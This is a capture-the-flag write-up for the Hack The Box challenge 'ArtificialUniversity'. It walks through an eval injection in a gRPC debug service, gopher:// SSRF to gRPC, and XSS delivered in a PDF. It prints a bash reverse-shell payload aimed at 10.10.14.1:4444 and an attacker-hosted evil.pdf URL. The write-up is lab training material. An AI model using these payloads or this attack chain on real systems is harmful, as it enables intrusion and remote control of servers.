๐ŸซArtificialUniversity

https://app.hackthebox.com/challenges/ArtificialUniversity

CHALLENGE DESCRIPTION

A group of known scammers are using a decoy dropshipping course site for cloaking payments from their other fraudulent sites. As you browse through it to look for more details you notice a small programming bug, that could lead to way bigger impact than initially expected. Keep looking for more vulnurabilities and take this greasy operation down.

Website

Analyzing Code

Juicy eval-function which can be exploited by seting the malicious formula(e.g. "import('os').system('bash -i >& /dev/tcp/10.10.14.1/4444 0>&1')") using Debugservice.

gRPC Exploit

To trigger this exploit we need to setup gRPC locally. For testing we start the app but first we need to install some requirements.

The structure should look like this(exploit.py below):

Creating a venv and installing requirements.

We can run the store application locally

And the product_api as well

Or use the build-script but later we gonna need to expose the port 50051.

Testing the exploit

Depending on the random function 0,3 the eploit might not being excuted or even tree times as we see above.

Gopher conversion into SSRF

In routes.py(store->application->blueprints) we get the next vulnerabilitiy we can exploit.

This endpoint accepts a url as POST-Request and without any validation get_url_status_code(url)

The injection point is the function bot_runner(...) where an url like this gets called /admin/view-pdf?url=http://your-vps/evil.pdf and inside this PDF we gonna use a XSS and that's where we need the raw gopher

The next step is to convert the raw request into a hex-encoded gopher string and inject that into the webapp. For this we gonna extract the gRPC request from Wireshark .

We filter for the port we are using tcp.port == 50051 and we capture the loopback.

Right-Click ,follow TCP and afterwards getting the raw input:

Why gopher://?

SSRF to gRPC wonโ€™t work via http:// โ€” gRPC is binary over HTTP/2, not HTTP/1.1.

But: gopher:// lets you inject raw TCP bytes, so you can smuggle in an exact grpcurl request.

This bypasses protocol limitations โ€” gopher is like low-level netcat over SSRF.

Converting this raw hex to a gopher using a python script:

Some curl-version don't allow null-byte https://github.com/curl/curl/issues/14219

Converting PDF

At least we trigger this CVE at the url, so hosting this PDFs and moreover changing the 'hello evil' to revshell or cp the flag.

Flag

Last updated